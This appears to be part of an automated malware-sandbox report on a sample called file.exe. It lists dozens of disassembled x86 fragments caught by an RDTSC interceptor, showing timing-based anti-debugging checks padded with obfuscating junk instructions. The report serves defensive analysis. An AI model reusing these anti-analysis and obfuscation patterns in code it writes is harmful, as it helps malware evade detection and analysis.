Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72525A second address: 7252C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp], eax 0x0000000d movsx ebx, si 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F60A4E98EF8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c adc ebx, 65A75ED4h 0x00000032 push 00000000h 0x00000034 and bx, D490h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F60A4E98F09h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72443E second address: 724442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724442 second address: 724446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727398 second address: 7273FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bx, dx 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F60A4BE8BD8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F60A4BE8BD8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 push eax 0x00000046 pushad 0x00000047 push edi 0x00000048 jp 00007F60A4BE8BD6h 0x0000004e pop edi 0x0000004f push eax 0x00000050 push edx 0x00000051 push esi 0x00000052 pop esi 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7284E7 second address: 7284EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7284EB second address: 7284FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b js 00007F60A4BE8BD6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7284FE second address: 728503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72960D second address: 729616 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729616 second address: 729666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F60A4E98EF6h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F60A4E98EF8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b mov di, ax 0x0000002e push 00000000h 0x00000030 mov ebx, dword ptr [ebp+122D2C82h] 0x00000036 jne 00007F60A4E98EFCh 0x0000003c push eax 0x0000003d push ecx 0x0000003e pushad 0x0000003f push edi 0x00000040 pop edi 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A5AE second address: 72A5C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A5C8 second address: 72A5EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F60A4E98F05h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007F60A4E98F00h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A5EE second address: 72A63F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007F60A4BE8BDCh 0x0000000c push 00000000h 0x0000000e jbe 00007F60A4BE8BDAh 0x00000014 mov bx, 1AB2h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F60A4BE8BD8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 xchg eax, esi 0x00000035 push eax 0x00000036 push edx 0x00000037 ja 00007F60A4BE8BDCh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A63F second address: 72A65E instructions: 0x00000000 rdtsc 0x00000002 je 00007F60A4E98EFCh 0x00000008 jne 00007F60A4E98EF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F60A4E98EFCh 0x00000019 jo 00007F60A4E98EF6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B5E7 second address: 72B5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729838 second address: 72983C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72983C second address: 729842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A7BF second address: 72A7C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A884 second address: 72A88A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D533 second address: 72D538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728724 second address: 728728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728728 second address: 72872E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B7A6 second address: 72B7AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B858 second address: 72B874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F60A4E98F03h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B874 second address: 72B879 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E6F1 second address: 72E6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F762 second address: 72F776 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F60A4BE8BD6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F776 second address: 72F783 instructions: 0x00000000 rdtsc 0x00000002 js 00007F60A4E98EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F859 second address: 72F85E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737D9E second address: 737DA4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D67A2 second address: 6D67C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F60A4BE8BD6h 0x0000000f jnl 00007F60A4BE8BD6h 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a jnp 00007F60A4BE8BE2h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D67C4 second address: 6D67D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F60A4E98EF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7374F5 second address: 737501 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F60A4BE8BDEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737669 second address: 73766D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73792C second address: 737930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737930 second address: 737945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F60A4E98EFBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C17B second address: 73C181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C181 second address: 73C192 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C192 second address: 73C196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C196 second address: 73C1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a jmp 00007F60A4E98F05h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 je 00007F60A4E98EFEh 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73DBAF second address: 73DBB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74520B second address: 745211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745211 second address: 745217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745217 second address: 745221 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F60A4E98EF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7445D6 second address: 7445DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7445DA second address: 7445F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744DC6 second address: 744DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DB23 second address: 74DB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DB27 second address: 74DB5C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F60A4BE8BD6h 0x00000008 jmp 00007F60A4BE8BE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F60A4BE8BDDh 0x00000016 jnp 00007F60A4BE8BD6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DB5C second address: 74DB7A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F60A4E98F03h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DB7A second address: 74DB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DB85 second address: 74DB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DCFB second address: 74DCFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DCFF second address: 74DD17 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F60A4E98EFAh 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F60A4E98EF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DFBD second address: 74DFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DFC1 second address: 74DFD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F60A4E98EF6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E1A2 second address: 74E1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4BE8BE2h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007F60A4BE8BD6h 0x00000013 jmp 00007F60A4BE8BE4h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E1D7 second address: 74E1E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F60A4E98EF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E484 second address: 74E4A4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F60A4BE8BDAh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F60A4BE8BE2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD5AC second address: 6FD5B6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F60A4E98EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74ECEE second address: 74ECF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74ECF2 second address: 74ECFC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F60A4E98EF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74ECFC second address: 74ED16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F60A4BE8BE8h 0x0000000c push ebx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ebx 0x00000012 jo 00007F60A4BE8BDCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7536BC second address: 7536D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7536D1 second address: 7536FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F60A4BE8BE0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F60A4BE8BE3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71437D second address: 6FC986 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F60A4E98EF8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F60A4E98EFFh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F60A4E98EF8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d lea eax, dword ptr [ebp+12479095h] 0x00000033 xor ecx, dword ptr [ebp+122D2E96h] 0x00000039 nop 0x0000003a jmp 00007F60A4E98EFCh 0x0000003f push eax 0x00000040 push eax 0x00000041 pushad 0x00000042 jmp 00007F60A4E98EFEh 0x00000047 jno 00007F60A4E98EF6h 0x0000004d popad 0x0000004e pop eax 0x0000004f nop 0x00000050 push 00000000h 0x00000052 push ecx 0x00000053 call 00007F60A4E98EF8h 0x00000058 pop ecx 0x00000059 mov dword ptr [esp+04h], ecx 0x0000005d add dword ptr [esp+04h], 00000017h 0x00000065 inc ecx 0x00000066 push ecx 0x00000067 ret 0x00000068 pop ecx 0x00000069 ret 0x0000006a call dword ptr [ebp+122D2B1Dh] 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F60A4E98F00h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7149F5 second address: 7149F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714B0C second address: 714B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F60A4E98EF6h 0x0000000a popad 0x0000000b jc 00007F60A4E98EFCh 0x00000011 jnp 00007F60A4E98EF6h 0x00000017 popad 0x00000018 xor dword ptr [esp], 5E3A5D33h 0x0000001f mov dword ptr [ebp+122D3022h], edx 0x00000025 jbe 00007F60A4E98F19h 0x0000002b call 00007F60A4E98F04h 0x00000030 call 00007F60A4E98EFDh 0x00000035 pop ecx 0x00000036 pop edx 0x00000037 push 86A60484h 0x0000003c push eax 0x0000003d push edx 0x0000003e jc 00007F60A4E98EF8h 0x00000044 push esi 0x00000045 pop esi 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714CB1 second address: 714CBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7153C3 second address: 7153C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7153C8 second address: 715429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F60A4BE8BD8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 push 0000001Eh 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F60A4BE8BD8h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 nop 0x00000041 push eax 0x00000042 push edx 0x00000043 jne 00007F60A4BE8BD8h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715727 second address: 71572D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71572D second address: 715731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715731 second address: 715735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7157F4 second address: 715802 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715802 second address: 71581F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71581F second address: 715878 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edx, dword ptr [ebp+122D2D7Ah] 0x0000000f lea eax, dword ptr [ebp+124790D9h] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F60A4BE8BD8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov ecx, dword ptr [ebp+122D2D0Eh] 0x00000035 movsx edi, ax 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c jnc 00007F60A4BE8BD6h 0x00000042 jmp 00007F60A4BE8BE3h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715878 second address: 7158CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F60A4E98EF6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007F60A4E98F09h 0x00000016 lea eax, dword ptr [ebp+12479095h] 0x0000001c pushad 0x0000001d mov ecx, 260CD041h 0x00000022 xor dword ptr [ebp+122D2FA0h], edi 0x00000028 popad 0x00000029 nop 0x0000002a jns 00007F60A4E98EFAh 0x00000030 push eax 0x00000031 je 00007F60A4E98F12h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7158CB second address: 7158CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7158CF second address: 6FD5AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F60A4E98EF8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 jns 00007F60A4E98EFCh 0x0000002a call dword ptr [ebp+122D23B5h] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
